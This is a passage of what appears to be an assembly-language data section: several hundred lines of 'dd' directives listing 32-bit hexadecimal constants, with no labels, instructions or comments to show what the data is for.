		dd 0B1E95551h, 0A51993F7h, 715DBD42h, 0AC61ABE6h, 0AF0609F8h
		dd 86893351h, 11E6B057h, 79BA2E44h, 7A36838Dh, 0BF786417h
		dd 1A11AC04h, 0CDEF8919h, 97B230EEh, 3EC11D18h,	3E47870Ch
		dd 0F7033621h, 0CC5475CAh, 0C8019F39h, 1A120B47h, 3DBB84E9h
		dd 0ABE316FFh, 8EEE0664h, 6A645BC2h, 0F240A1EFh, 97D06855h
		dd 0E2F1BDCBh, 13DE7588h, 7CD5AF5Eh, 0FB51FCCh,	59EB8829h
		dd 0C652F689h, 8084B407h, 0C4336EF4h, 38DCEBEAh, 0E312D30Ah
		dd 4C77EC58h, 0C2139E4Dh, 2F7B80B7h, 3498B9D6h,	13BE37C9h
		dd 0FDC38562h, 48F81820h, 0D29561EBh, 26E4B392h, 74EA4B14h
		dd 423D160Ah, 12FA40C9h, 6D379702h, 61D2F730h, 8A6FAD31h
		dd 21F84A71h, 53011EB6h, 0DC888DB3h, 0E2D0525Bh, 0F3D4EE50h
		dd 0AE5AF297h, 4242C829h, 779DDA37h, 0ED2630C1h, 59F9E58Dh
		dd 0C29465F6h, 3C463D02h, 2516D02Dh, 487EF479h,	0E4395052h
		dd 0DD2880C9h, 0C59A2AEEh, 0EE295A24h, 0D26525h, 930E9925h
		dd 40BF4859h, 13354086h, 8130C7D5h, 73F591ECh, 7A86770h
		dd 5705E132h, 7D3B9C59h, 0AB93C20Ch, 62D1DA46h,	5AD399C9h
		dd 0E843E2F6h, 0D0F3FA10h, 85BB078Fh, 0A2375F1Bh, 27561C55h
		dd 95E4266Fh, 5FFD2413h
		dd 0BC2805AAh, 16D01321h, 7A9986E7h, 5D98024Bh,	76F52F80h
		dd 0B151DC60h, 9CE9490Bh, 2D18F5BBh, 7BE18C0Eh,	0A693A9EDh
		dd 5E4F7658h, 0BDC01634h, 0ED30519h, 0E9CE3139h, 5A56B7ACh
		dd 521EF4F6h, 0A7D76209h, 0AF988E84h, 0D9BB5Bh,	5684F381h
		dd 5F5A284Ah, 0CAEC68ACh, 928FA45Fh, 6579A04Eh,	0C2236C65h
		dd 0FBECE7B5h, 6B13B3AAh, 0FEFFD004h, 307AECA3h, 0BB14CFA6h
		dd 0B22F3ED2h, 2E67908h, 0E5623428h, 204C16D5h,	6814E0D7h
		dd 850D116Eh, 2EA32CAFh, 0B38B4B25h, 6806657Fh,	0F14201C0h
		dd 7029C8BCh, 58BD6A5Ch, 896DA501h, 5F09FE89h, 0B8009DD0h
		dd 2137E1Bh, 2C4FC725h,	26A10E7h, 34E0705h, 9806F782h
		dd 0B038A60Eh, 0F7BD0536h, 0EC79B623h, 22B35183h, 134A181Dh
		dd 0C44992E5h, 1ECAA539h, 6627C989h, 250A12D2h,	0E87E045Ah
		dd 0F25B0973h, 4F6220EAh, 720BED98h, 57F70506h,	2DE8788Ah
		dd 45F59242h, 91A9A0B0h, 0EA7D692Ch, 0F7D3C084h, 6047813Fh
		dd 8180C7B3h, 3C1012E3h, 4016B101h, 313550C2h, 672D2F98h
		dd 85CEF970h, 0A33E7768h, 8BE62790h, 9A96FD80h,	0AB0424Ah
		dd 96D4BD5Fh, 75DA89D9h, 0AEA17C5Bh, 27DB6408h,	9300ADFEh
		dd 0BE41A729h, 0C16D4B0Ch, 12C5EC88h, 7B0B40CAh, 1B293266h
		dd 24825910h, 64E4DD6Ch, 3A790507h, 23C22A35h, 429779F9h
		dd 9ED7268Ch, 51B62FDDh, 76ADA953h, 748C59D0h, 0AA0BBB8Ch
		dd 0FFF23226h, 0FA54A6A9h, 92F5C10Dh, 0F1D0EF20h, 793F50FEh
		dd 0B8124B68h, 380CB249h, 0C75AEAE9h, 0B6C602FCh, 0C203CF86h
		dd 2A42701Ch, 522E156h,	8142356Ah, 3FB163BDh, 5CA35AE2h
		dd 55AE5625h, 2E5EDA91h, 0D9F3EE40h, 2C7FA911h,	3F78D801h
		dd 71312292h, 891CAE1Bh, 0DDE1AAB1h, 5B05BBC6h,	5A7DA569h
		dd 282C32C7h, 0BFC9045h, 0FD11205h, 5902E9DCh, 0EC73C868h
		dd 2B562005h, 5BD0BB07h, 9DA24D17h, 0E3ABABBAh,	80604D1h
		dd 98108A68h, 752826C3h, 0C2084ABh, 225D4CD4h, 3B218827h
		dd 7A6566B4h, 1DE028E0h, 8E166F3Ch, 41C432CDh, 0C7488071h
		dd 1A5CC512h, 8B6051Ah,	0E6870ED0h, 2586C94Bh, 8B61057Bh
		dd 0C2E2FA34h, 4A8CEC97h, 56934BEh, 0FE2A8AA3h,	126AC739h
		dd 7222EA9Eh, 9D46F075h, 0E971C8D4h, 6DA584F5h,	0CA575742h
		dd 3FE5DE8Eh, 14EF4E84h, 36AB1209h, 9A012C2Bh, 686ED471h
		dd 0B2286796h, 0C9E528Ah, 0BA147F06h, 40763B09h, 0B4D9041Eh
		dd 5EBA2FEAh, 8C4E1C8Bh, 4394B1AAh, 0B0098D21h,	0BEA15635h
		dd 0B9004120h, 8A6677Fh, 51EC981h, 0F762C434h, 6DB400D9h
		dd 945E94Ch, 0EE21C15Bh, 5401A625h, 216B305Bh, 54E6DAAh
		dd 0B75CDC30h, 276E02EDh, 0DEE13687h, 0E589655Ah, 78FEDDD3h
		dd 0EE8100E2h, 0DBF84101h, 5EF52409h, 6A210CC0h, 610FC647h
		dd 6F1378ECh, 0FD16DABCh, 2FA70DE8h, 3098B3Bh, 0D90A4CCFh
		dd 0BEEFE069h, 1274FE66h, 0AE5FFA01h, 0FC4F808Ah, 0E07B0B94h
		dd 30C65E2Ch, 9224DB44h, 0C00F4Ch, 67DC37D1h, 0BCF9CBE9h
		dd 7ADCC91Dh, 0B3E1862h, 7F0D4A77h, 6229EE79h, 7970E34h
		dd 0D6D956B7h, 37B899Eh, 8509187Dh, 7E427C0h, 6C04257Ch
		dd 812FC20h, 6805F413h,	0B64B4794h, 29C3C049h, 4AF3EEEAh
		dd 450490C1h, 333BB45Eh, 72AEE152h, 77CA0C7Ah, 70287C2h
		dd 0E745DE9h, 764B342Eh, 0F2577A9Dh, 0AC4720F0h, 43DD8725h
		dd 4CBFA730h, 0F6C57F8Bh, 43A4F32h, 16636h, 187E0F2Dh
		dd 12EFEA5Dh, 0EB525C15h, 0E750C18Bh, 0F0697E5h, 0E84DA45Fh
		dd 0F2267C51h, 9B433846h, 532BB2Eh, 1433F72h, 0A6D58245h
		dd 0CC503B74h, 0A6C4B15Fh, 0A13E3D8Eh, 0C779524h, 32A5DCBBh
		dd 6937491Eh, 49A9768Ch, 27180BEBh, 97003B03h, 3D596E74h
		dd 0E9CB3105h, 0FF459134h, 0AF820568h, 308FA142h, 0A96A5AD3h
		dd 0E1CD9252h, 0B8C2203Fh, 0D09454Ah, 7F02EEC1h, 0C2B20E24h
		dd 8955031Ah, 969B550Fh, 766DFE01h, 6FBE5B80h, 0FA290B92h
		dd 9EBEAB12h, 2581482Fh, 0F082E870h, 0ED54B5CEh, 17AFF0ADh
		dd 0B028EB80h, 7449E96Ch, 2CDC5880h, 0A7AF47ABh, 71B255C6h
		dd 0D8AEA9B2h, 42EF0675h, 823EF93Ah, 2F40FC0Bh,	1CE30D38h
		dd 801C0806h, 5F13E914h, 0F2C496CFh, 0A7AD91B7h, 5EBBAB81h
		dd 7A3FAC4Eh, 0EA836C07h, 2660AE5Bh, 242159h, 57E09E7h
		dd 2965CB81h, 0DD44E927h, 0D03108A2h, 0E9423ED9h, 0E822F080h
		dd 27C0F8F3h, 0D9C508EBh, 76F04993h, 76FE0BBBh,	4CDF4DD4h
		dd 1F229D37h, 88030350h, 0FEEE92F3h, 0A86812D3h, 0B28A8934h
		dd 40F78E0Eh, 0CDE9FE20h, 61AF9687h, 88441768h,	2FA59FABh
		dd 0C3221075h, 4A7392E1h, 9D3434h, 25299788h, 0E3388175h
		dd 981EA41Dh, 248CCB00h, 0FA4337B9h, 423E0CC3h,	0E30ED7CCh
		dd 33F8F04h, 0BDF44B62h, 0D16E16B7h, 3C87EE46h,	621D3830h
		dd 0EA681831h, 0A9899D4Dh, 0C07F0981h, 0FAF9F63Ah, 3191F716h
		dd 0C4B204AFh, 1361B3BCh, 13CA11B0h, 9F580B5Bh,	7B684CA1h
		dd 2306A7Fh, 22F5323h, 0E3F5BA1Dh, 13550D73h, 0B20F88B3h
		dd 2ECEB06Ah, 0A72610E9h, 48A02F5Fh, 45313A9h, 0AA3D33h
		dd 892C480h, 4B76B0E6h,	5A610595h, 1860E85Eh, 0F20CBA4Dh
		dd 0FDE205D8h, 0ACDAF7BBh, 0F514CB8Ah, 8C8290B2h, 5357B863h
		dd 62E9C1D1h, 0BB84C30Eh, 8593D0B7h, 4460FAFAh,	0A82D5FF8h
		dd 0C9A4E826h, 0DD1CE1Bh, 88E4E9E7h, 0B4E470BCh, 0DB4A0BF0h
		dd 80C954FDh, 0B809DCF0h, 22606Ch, 39F96BB3h, 0C50125F0h
		dd 2266A4B0h, 0FC5D2ECAh, 41E0E817h, 0F7D4A221h, 74BF6052h
		dd 82731202h, 96755EADh, 0BF294AA7h, 0B5E92C20h, 80E29EEAh
		dd 380F6173h, 0BC16F2Dh, 0A6E9C701h, 0C6E502F3h, 364177D7h
		dd 4D02805Dh, 0A2401E73h, 5EF340C3h, 0BD18C119h, 0AFEC8A1Dh
		dd 0B0867282h, 0D9395862h, 0F5294B09h, 2A52A900h, 8E927ADAh
		dd 1059E304h, 0AB802E3Dh, 4BD75E4Bh, 997EC46h, 840DA138h
		dd 0BF16C79Bh, 0C9F928DDh, 0B52D9E34h, 0E4D16B6Bh, 0E6BD8147h
		dd 54A77080h, 3FB67430h, 0E90AC048h, 9DF49033h,	0D253C9F5h
		dd 0C77F9EABh, 83DF2554h, 84061F74h, 0D9488C32h, 93127FBDh
		dd 0FEE694Ch, 4DC1818Eh, 3A574713h, 5B087350h, 0B96DCB29h
		dd 0CE690970h, 85775D2Ah, 9FBE51DEh, 5D9F6901h,	0A81B6FC0h
		dd 0B723081h, 1254531Fh, 6B80E183h, 9FD3D9B2h, 0C7680B7Bh
		dd 6FB0DC4Dh, 70147420h, 0B6CD5946h, 0C47A0F72h, 502D4CB7h
		dd 4A4B1F7Ch, 5C1CCE61h, 3B77B711h, 0A23839Dh, 9CED550h
		dd 2973AE4Ch, 0D695ED52h, 50F486Dh, 0FD91C5E9h,	411F8679h
		dd 0B5527F67h, 0BE406A74h, 5CBDE8B9h, 51126F0h,	0F2FF20E7h
		dd 81AC9496h, 534E1BC9h, 7BE88B16h, 42877D4Fh, 0B60F72CEh
		dd 473ABE00h, 0BFD3B82Ah, 7552EF74h, 4B04162Bh,	0C5E585D3h
		dd 0F7F6BA39h, 0C8B6B9D7h, 0B7545808h, 5464FE9Dh, 0E92D15ACh
		dd 85FC583Bh, 0EDC143FCh, 0EE0B20EEh, 8B0FB988h, 93CD906h
		dd 20743C96h, 523F62h, 281BB151h, 2C59C80Eh, 0E5D8AFBFh
		dd 8CBBC53Ah, 0D99D5BCBh, 0D787032Bh, 0B2D9F118h, 738A2F67h
		dd 95995A2Ah, 0A982B0E0h, 2778F7DFh, 0C1C0D237h, 0D7613398h
		dd 99FEF409h, 0A2F46497h, 0FF329C6h, 0D051E238h, 0C0CD9227h
		dd 186EF355h, 0C6A5C48h, 30F03F39h, 9CE488C0h, 4E314D57h
		dd 4AC3A6D9h, 0EA9DDA32h, 865177ECh, 22A6538Bh,	7C7DD1C1h
		dd 44866209h, 62BFC9C6h
		dd 0A198C541h, 0A0E09332h, 55485829h, 46232DCBh, 99CD2AA7h
		dd 0E8B55B1Dh, 27FF1B7Bh, 0B9A42E35h, 39616B1Eh, 0AE207E52h
		dd 7EBE56h, 539127Ah, 1C5A1857h, 81687097h, 0EAF45E07h
		dd 8B0D271Ah, 8C3E1656h, 0A55B9568h, 0B6DF5FD5h, 68F944E1h
		dd 185EF024h, 0FA61DC2h, 0A84899A4h, 2839C095h,	2FE91DFDh
		dd 70655A11h, 98E40C37h, 0EDBA4090h, 40690A59h,	31EADA87h
		dd 0EAE95608h, 0CC7F918Bh, 9AD2BF14h, 0F949775Eh, 0E8397D34h
		dd 492B5Eh, 9058F294h, 0B4031D24h, 0D7E18422h, 0B5F1AF69h
		dd 7431D9C9h, 0B348853Eh, 0DFFE93A6h, 0D55C2F98h, 5C95213Eh
		dd 0E4FD7292h, 0D6E92F97h, 5CB84A00h, 58B57E06h, 0B55FC92h
		dd 0C8310B43h, 1242616h, 0DD0811C1h, 85772DA7h,	19C8FDA8h
		dd 602941ABh, 0CD4096CBh, 4CB92568h, 46A22C18h,	7F9358h
		dd 0EB2D8BCBh, 975EE94Bh, 0B4FFCDEh, 7218F5FCh,	0BB85954h
		dd 0EB682E0Bh, 0C1298B6Bh, 96920996h, 0B45344D1h, 3A19863h
		dd 0EF46641h, 62F3BCA9h, 54F6CE20h, 0D82EE850h,	59C66CDDh
		dd 35F8F14Eh, 0A88B7913h, 0A7BBE0A3h, 6A2F2710h, 0C11390FDh
		dd 3FDEBDEBh, 698DCB01h, 982B7DF9h, 5F2CFF17h, 470D4D26h
		dd 4A437986h, 0B8DD5FF4h, 8BFA482h, 0BF80F307h,	253A34F1h
		dd 0CB1302BEh, 0FE01DAC5h, 0EA7780C2h, 98F8ECDAh, 48952C97h
		dd 0A7F7A708h, 1D680843h, 0C514B8B0h, 0C310F566h, 0DA5F25DDh
		dd 0F8F398A4h, 6A0B9517h, 0E8F969D2h, 0BC2E0A30h, 8486402h
		dd 0E57ED031h, 8391896Ah, 301DA61Eh, 0EAC6F464h, 5869B61Ch
		dd 0ED9F10F2h, 44E9851Dh, 5C03C836h, 74184800h,	2639CF81h
		dd 0F7620309h, 7EAF68DFh, 311E5310h, 0F83B2851h, 0D9E9F06Fh
		dd 5A132F11h, 8A08C5Eh,	0C084D99h, 96C68146h, 2011CBF4h
		dd 1F1606A1h, 9F14C18h,	0BD1D1B60h, 0E9F00680h,	37C2B3EBh
		dd 0E31C3ECDh, 0ABF5B016h, 0BDB82C2Bh, 24A1079h, 432878BAh
		dd 53425D6Dh, 57601856h, 14946850h, 0D44EAF74h,	28567610h
		dd 0F6BD6205h, 0C47F521Ch, 0A290205Ch, 0DF57B238h, 201B69BBh
		dd 180E090h, 6084EED5h,	0C8C7C3A0h, 0E15CC086h,	0D1AD2DACh
		dd 34AADAFh, 244D15D5h,	93DFA5E6h, 4818F16Dh, 0DE63620h
		dd 50F558AEh, 7A5EDC0Ch, 0E1A2664Eh, 0C105E2C1h, 54592106h
		dd 0C92BE235h, 77B0E238h, 914348D1h, 281C12A2h,	0EC7E1FE2h
		dd 0B1631D58h, 0C174B53Fh, 6F4C30EAh, 0FA011991h, 0C11A3246h
		dd 0E07B02F5h, 65BC03D1h, 0E5481601h, 0EB42D621h, 0F7A00FDFh
		dd 0C475ED8Bh, 0A7416EB0h, 0D8891D2Ah, 0DC3BBE0h, 0D2F8202Fh
		dd 154E9733h, 9122E91Ch, 0A1BE5525h, 82C0B08Ah,	0A29425DAh
		dd 33676DEFh, 0E9C6F263h, 0D8BFED27h, 0BF350477h, 0BC16AB65h
		dd 62F72506h, 4F1EF125h, 0BBDCFAC4h, 55FFE12Ch,	7FD9F508h
		dd 24588724h, 0A74FDD31h, 0D37261D1h, 9D680063h, 5A2320AAh
		dd 51D53127h, 0DF74C241h, 87BD5500h, 0A04A2C84h, 0AFAA1203h
		dd 5A296F63h, 589EB6ECh, 43A65B82h, 0BDE64078h,	0E4592E0Fh
		dd 0DCB7452Bh, 8B944DE8h, 5C4CCE20h, 27F1044Fh,	0F2EE3B83h
		dd 380FD3AEh, 156A4549h, 4BF26481h, 594AB900h, 4B384726h
		dd 82609B03h, 0C82E005Eh, 936F171h, 0D6B55BD9h,	0CA294235h
		dd 251850DFh, 0A755FCA5h, 1022E656h, 0EBB2C19Ah, 0BFA12FFCh
		dd 854F45F1h, 0F3BFF254h, 38DD4107h, 0DDBF02E2h, 0FD372520h
		dd 0F0F210E8h, 94D85582h, 0CF53A60Ah, 0CA10934Fh, 0BCCE8712h
		dd 0D5E7752Dh, 0E90889D2h, 4EFE7877h, 0E088FD5Dh, 0F787BB9h
		dd 0E9917FC5h, 67D93F09h, 710BE485h, 0D8A1B90Bh, 42B1BED5h
		dd 0E9408107h, 550B56Ch, 0E91750C4h, 5AC416B9h,	0CC116B91h
		dd 85ADAC2Fh, 6585138Dh, 353F2CAAh, 0E47E5F41h,	0A04174D1h
		dd 0A367873Eh, 5C780549h, 0B08C251h, 28FC4BF8h,	0CB5C15E7h
		dd 72142732h, 0B6544049h, 6BB18407h, 99B5F130h,	836879D1h
		dd 0D94FE67Ch, 12982DB5h, 0E1B81B9Eh, 0B309C7C5h, 2929677Fh
		dd 0E9F889C0h, 0D8E76B28h, 0FD2E4500h, 0B6F64334h, 1BDD144Ah
		dd 3912B239h, 85B4AC95h, 8AC4CD3h, 6C13E2E7h, 434509C8h
		dd 5E05581Eh, 0FA7C19CBh, 208A8603h, 5A7B4D49h,	972A1F21h
		dd 278DE754h, 0AF307DFBh, 18BF8B9Bh, 1C1A813Bh,	4FBA4FA1h
		dd 0DC149599h, 63063501h, 4C2290Eh, 0BF580800h,	7EF38E90h
		dd 0ADD74B4Bh, 53EF8040h, 9819FF0Fh, 70EA0B7Eh,	0BD51635h
		dd 9831280h, 2EE0380Bh,	0D748BFA6h, 0C07B6859h,	0F9627B96h
		dd 5CE5FA2h, 2220E390h,	0F3810737h, 0B5564EDEh,	233CC14Bh
		dd 301EE50Ah, 7C13EC13h, 0A004FB4h, 4846A37h, 94089809h
		dd 5BF42D44h, 8889031Ch, 88955EE2h, 956A42CCh, 842D4000h
		dd 5E07E949h, 0DA63B458h, 5F5F5B3Ah, 3218EDE2h,	15F797E8h
		dd 0FBD05013h, 905E6B0h, 63DF4658h, 95E986F7h, 4CDF9C65h
		dd 83802BCh, 0D7292F5Ah, 51FB289Ch, 567098Ch, 0BA9EE10Dh
		dd 64CD9620h, 0EE5F0C9Fh, 1A928AF3h, 0DBD7310Dh, 0B8752DD3h
		dd 5E23E9BFh, 0C79F3166h, 89972ED5h, 907A034Dh,	8BC0C5DCh
		dd 89098504h, 0CDEF5DEEh, 89843FA4h, 52C77C84h,	112A4CF1h
		dd 8F12C03Eh, 1BB08C16h, 5687572Dh, 7F4FC2E1h, 0CA73A7F7h
		dd 1945082h, 2C553868h,	22C2C23Ch, 0E7C17FECh, 464BFC74h
		dd 3D5E097h, 0E90B0E8Ch, 0EA136E65h, 0A82AC88Dh, 4EE013F9h
		dd 72C4F5B8h, 0ADE9033Ah, 0F80A4A50h, 42C25171h, 0CFE09C2Ch
		dd 0CB5F2142h, 66B753C0h, 0A0445E9Fh, 5D0E2596h, 0C151E30Ch
		dd 303E570Fh, 0B698A47Fh, 775AF040h, 1BD1BFC1h,	6E2CBF60h
		dd 24344847h, 5F4B6204h, 0C1A28445h, 444AAF78h,	27D3B8E3h
		dd 347D9666h, 0FFB725BAh, 0EF7F8381h, 2968B7D8h, 0BF9C0E60h
		dd 3D09825Dh, 3F8872CFh, 0BB92006h, 0A843E9C5h,	0DC646AFEh
		dd 6AF2C895h, 0ADAC06C4h, 7E3ED584h, 0C600164Fh, 1F1764BBh
		dd 4EA9F440h, 1280F3D8h, 0A3B98243h, 0EEC0FE00h, 70B45008h
		dd 70EC8024h, 0D7F3610Bh, 0DF680B38h, 9BA2195Bh, 15A326D8h
		dd 0E9380906h, 3178FD7h, 0D6683EE2h, 0F2B8424Fh, 6A306C65h
		dd 3AC50F0Bh, 0C4635A1Eh, 0BAE7E0A7h, 27E41616h, 0D7FD060Bh
		dd 0B054D8B1h, 0DBE5DFAh, 65340018h, 63DBE681h,	639F7148h
		dd 0F33602F8h, 386203A5h, 6589BEC0h, 6B85FB9Fh,	9152B57Eh
		dd 87B265CCh, 16615BE2h, 1377209Eh, 20EE4B00h, 0FDE9CB29h
		dd 5F1EAA47h, 0BC24A359h, 0D1A7D626h, 47056B74h, 44D533Bh
		dd 16B3E2B9h, 3CF6D40h,	9A4B1E60h, 5F7A2FFEh, 464B8E76h
		dd 400F2746h, 0E98519EDh, 21BA349Dh, 36ABDF9h, 0DC76175Bh
		dd 0DDA840DEh, 1CBCE581h, 452AE406h, 0E812EDD1h, 0FE0C7B46h
		dd 0E7C8B2F5h, 29DFE07Fh, 15854E0Eh, 631D8DE9h,	0E3E4B02Eh
		dd 8CD1245Bh, 0C004D337h, 0F6196111h, 0B111F48h, 20358B2h
		dd 81DB150Dh, 0B07A8811h, 5A5A8530h, 677A7A3h, 3E8C6856h
		dd 41C32DD9h, 0D803D824h, 0E1E8B52Fh, 8DA02C4Ah, 1EFB04CBh
		dd 0BF7AE9D3h, 2679DCE3h, 8AA08C9Fh, 7AD03EBh, 0F9603509h
		dd 82B4EB05h, 475131Ah,	43FD5AFDh, 9E30ED11h, 0CFDD2EA1h
		dd 3B59A1B2h, 0AE9234B7h, 27F34F8Ch, 7576535Eh,	2239FE71h
		dd 4B9B6F10h, 2A852DC7h, 8FEBCE12h, 7E24942h, 13C3135h
		dd 2341E3E0h, 20B4B887h, 6EB1B6B9h, 5C0090Bh, 169939D8h
		dd 180CFE48h, 0AB447503h, 0F74EB81h, 293CEF13h,	8C3860Ah
		dd 39F26804h, 14F3BBD8h
		dd 0F575B105h, 34574900h, 70BBE932h, 3CB97EA3h,	0C4CC78A1h
		dd 68054003h, 0A515971Dh, 0AB9B947Ch, 0ECE562E2h, 95BBA423h
		dd 4338EECCh, 0A1A54AE9h, 0B7816863h, 71DD5CF2h, 23012D71h
		dd 0C22A9668h, 63A9F9DDh, 0C1A5309Ch, 0C2E45FACh, 69615157h
		dd 0B69A01A2h, 0C2824CF4h, 0D56920B2h, 0CF98B940h, 9E43FCB5h
		dd 0ACC14955h, 309DE4F5h, 0E275BF1Ah, 0DA407665h, 12C94C71h
		dd 0CB4BB7D2h, 3763951h, 0A69B5DEEh, 0D2EE0BECh, 5DEB2427h
		dd 0EBE81724h, 4658F84Eh, 20165405h, 0F62D9E75h, 25EE44D6h
		dd 0D27BB168h, 9E018B1Eh, 0C654E91Bh, 2A551AAFh, 5D00C3C8h
		dd 816DA35Fh, 0C0907E1h, 6BD108EDh, 3698F213h, 59241B46h
		dd 54023041h, 8974866Eh, 0EA7548B9h, 92C091Ah, 0A05F593Bh
		dd 706BD7ABh, 52C09662h, 57CB28DCh, 0E916984Ch,	28FAD73Eh
		dd 0EF1DA9h, 9F199568h,	0E942E3F3h, 8154D411h, 0C0469FF7h
		dd 0A1F7300Fh, 7AD57306h, 910474Fh, 0A5569076h,	5C7A3C0Eh
		dd 5990041h, 4B8580EFh,	69951B6Eh, 0C42D5FDCh, 6548112Fh
		dd 0AD72D29h, 0EEE601EEh, 1301AC2Bh, 2C3BC609h,	8BB422E9h
		dd 0E87C5859h, 0A5FC5113h, 7BA315B1h, 37DF7CAh,	31722547h
		dd 0EE9C5AD7h, 34FA7240h, 24573603h, 849F789h, 0DE2F9365h
		dd 0D97F727Fh, 0B4143106h, 0AC817BE5h, 0BF71DFC4h, 3134042Ah
		dd 41E3AFD8h, 2FDC8F8Eh, 215873F6h, 0B178A0F1h,	2C46BFC0h
		dd 0F1DF412Dh, 45BC8EFFh, 5CB62D1Ch, 75A35C4Fh,	52E95681h
		dd 22BF0090h, 54480F0Dh, 4F42E781h, 0EF8058A7h,	2B674436h
		dd 0A145EC7h, 82E90161h, 0F78C136Bh, 2B2F7D92h,	4A757B2h
		dd 5E469F87h, 280014FAh, 535A66D0h, 3D809FB7h, 0B04FD2EFh
		dd 424D838h, 8250EECDh,	9AB9805Ch, 2E012712h, 0CC22A501h
		dd 7374B236h, 4EC45A0Ch, 0DF65EE1Ch, 548F805Ch,	70BF4808h
		dd 0FF1A4F6Dh, 0CA3DDD24h, 0F58FD86Bh, 76E32298h, 7A680CF6h
		dd 4E809B25h, 8B5FB8E6h, 8823A328h, 1C2E2DD9h, 2CEAADCh
		dd 5847E9C8h, 0D2E79E5Ah, 2AF916DFh, 90558806h,	3F2D0B36h
		dd 4E04620Fh, 51590B8Ah, 0C22F96C9h, 16DC5D39h,	3E7E555Ah
		dd 5559CD61h, 8251B37Fh, 5F54A9E9h, 525B9225h, 724B0FA2h
		dd 4A5D28E0h, 0C3016853h, 0E91C7132h, 0D850B48Eh, 5B016FA7h
		dd 5B19BC66h, 5DBDFEF4h, 95914DC7h, 7516154Ch, 78A1C99Ah
		dd 0C5EAD3D7h, 1844B0E3h, 41C69884h, 57A6097h, 5C2FD3B1h
		dd 510A5B88h, 0D4D0FFE9h, 0DA9BE39Ch, 0D101E181h, 827D987Bh
		dd 0D38F2F4Dh, 0EE6560BFh, 91204F61h, 0BE98263h, 2C16DD08h
		dd 5BF2EE52h, 0C4F750AAh, 0F1298970h, 45B34755h, 200F07E0h
		dd 0F702110Fh, 19FAF4D1h, 78088BEh, 0E2C145F9h,	9E5CBF08h
		dd 0C447D4A7h, 6771C097h, 0A1B693E9h, 2C6D5417h, 20C9124h
		dd 6821C02Bh, 0CE5D5ACFh, 9B44FC91h, 0B05209B3h, 7F7A845Ch
		dd 680763EDh, 170E6DD1h, 20F22DFBh, 0BE80876Ah,	61682C8Ah
		dd 43E6009Fh, 0F753FD49h, 94E9DE09h, 0EAF0B27Ah, 5EDE412Bh
		dd 0A866E964h, 95CAEF9Ch, 23266F94h, 6861098Eh,	0CC7E50E6h
		dd 6516BE5Ch, 69809D45h, 13C262D3h, 0C166E977h,	0DC5F54B1h
		dd 0CCBB16AEh, 0AB21AC0Bh, 5A4450FDh, 845EE2A3h, 0EC16183Eh
		dd 0A8E2020Dh, 406CF42Bh, 7DFC7CD6h, 0BA01625Bh, 14FDA166h
		dd 2ED00B3h, 0E952891Eh, 4A95327Ah, 0AD965586h,	4A9DC1ECh
		dd 1B17450h, 108F678h, 0FA1116D1h, 0D8DA6997h, 0CA8B2419h
		dd 5EEBA85Ch, 9B18394Dh, 0A7F5616Eh, 1DF2771Dh,	4954E581h
		dd 0C835026h, 3A5B6914h, 55D1B206h, 1300A72h, 0C335CA30h
		dd 51FB2EE9h, 0F0A8E5CDh, 6B903798h, 0C003ED27h, 12CCF98Ah
		dd 2CEE29FBh, 0E617C1ABh, 24025006h, 0DC0ECD4Ah, 5C415ABBh
		dd 0B4C310CCh, 12190B86h, 8CF0DA29h, 6362B509h,	10218659h
		dd 0B595E833h, 8B700CD6h, 17829305h, 0EE5D566Fh, 0F69490CFh
		dd 1D0D6910h, 8DD3DAF6h, 0A554E64Fh, 0A2EEC0D8h, 99B2754h
		dd 0D2257642h, 0C3C0DB54h, 13A60FECh, 10D3015Bh, 9A4D0826h
		dd 0E3C5731Ah, 880C0281h, 0D2E7F772h, 0CC5F7FA7h, 7C2FBF0Eh
		dd 0FF09EDFCh, 770595B0h, 2DAA4012h, 48D3ECB0h,	89A15A23h
		dd 0D8CB2BC6h, 0CC136A12h, 6012D6C0h, 20FE12CBh, 8F76383Ah
		dd 0A2F0494Bh, 2FC3323h, 73E19F0Ch, 412F7D7Fh, 140CA008h
		dd 601B169Fh, 3326BCF2h, 58B0023Dh, 58D2EF65h, 0BEF442BCh
		dd 5F742DE2h, 94E4B994h, 14B00153h, 0FD014688h,	8057621h
		dd 5004ABA3h, 0F9D11DE9h, 0FEDF273Fh, 0BA5B17E0h, 4765ACBh
		dd 0AE510DEBh, 4950EF44h, 0B9E91208h, 0F28A6956h, 0AD965C3Fh
		dd 0BF199D63h, 93A31325h, 2EDBD9AEh, 41737698h,	0F7A92ABFh
		dd 0E0D6BB87h, 16E974C4h, 58241E64h, 0B1D8AF25h, 0D5945ADFh
		dd 7B040E0Ah, 0BA1DE6A5h, 39D40213h, 0E28DD681h, 0FED05B03h
		dd 0F895C508h, 0AB3A334Bh, 0E24EB43h, 9240AC42h, 0F63DD352h
		dd 0DBBE2Bh, 0F1281A2Dh, 0EF0F0535h, 0E56E515Eh, 0ED4E8F3h
		dd 30DBBE0Fh, 0EDC0580Bh, 0E9084584h, 3AC60262h, 7542B522h
		dd 7F1CAB78h, 2E757ACh,	7999FF9h, 624F624Eh, 189A9D1h
		dd 2F969444h, 6F74F0E9h, 0DAF4F425h, 9B025971h,	617DB447h
		dd 4A6333C2h, 0D82816h,	0B2C5B724h, 152FE9C2h, 51FBFEAFh
		dd 0B1DC965Ah, 0AC5B5AADh, 16BBB5DDh, 0A85CFEAAh, 0B717D1C3h
		dd 2FE016Dh, 0E992EDECh, 0EB006A64h, 3A7EBD68h,	0B0584E0Bh
		dd 440B354Ch, 42CE9FAFh, 7E8075A2h, 0D223852Dh,	9E1655Bh
		dd 8AF30704h, 8F443C5Eh, 8140471Bh, 0F7178006h,	0D7BCBF1Fh
		dd 70256812h, 0E9F568AFh, 82C4C920h, 5C4B7DE2h,	69301FD9h
		dd 0B85A9815h, 2A521396h, 30A83Dh, 46361D35h, 4E8A6879h
		dd 0FFFE2259h, 74D0EEC9h, 0CF0681B3h, 3B592A2Fh, 3CE53980h
		dd 0B1F8252Dh, 16C10274h, 0D7D044FAh, 4F96A921h, 5B9E4B29h
		dd 25CC8BDFh, 9EFB521Ah, 0BB454E76h, 5AB44D99h,	6BC341C5h
		dd 6B700581h, 68B85503h, 8E240E9Ah, 0ED1E0B7Ch,	10759560h
		dd 8091A2E7h, 58F8C188h, 1707807Ah, 1B15153h, 7559CBB2h
		dd 5D5E8B5Ah, 0F9B38316h, 3EA78310h, 3C04FCF7h,	1354A02h
		dd 0CC465181h, 6579D7C2h, 0DF73699Ah, 0E409C0C4h, 751D7774h
		dd 4D30E05h, 0E2C6Ch, 8F069ABDh, 650DF409h, 0FA431485h
		dd 13AE0CA0h, 13ECD65h,	2A4E0892h, 79903029h, 0CBC65D16h
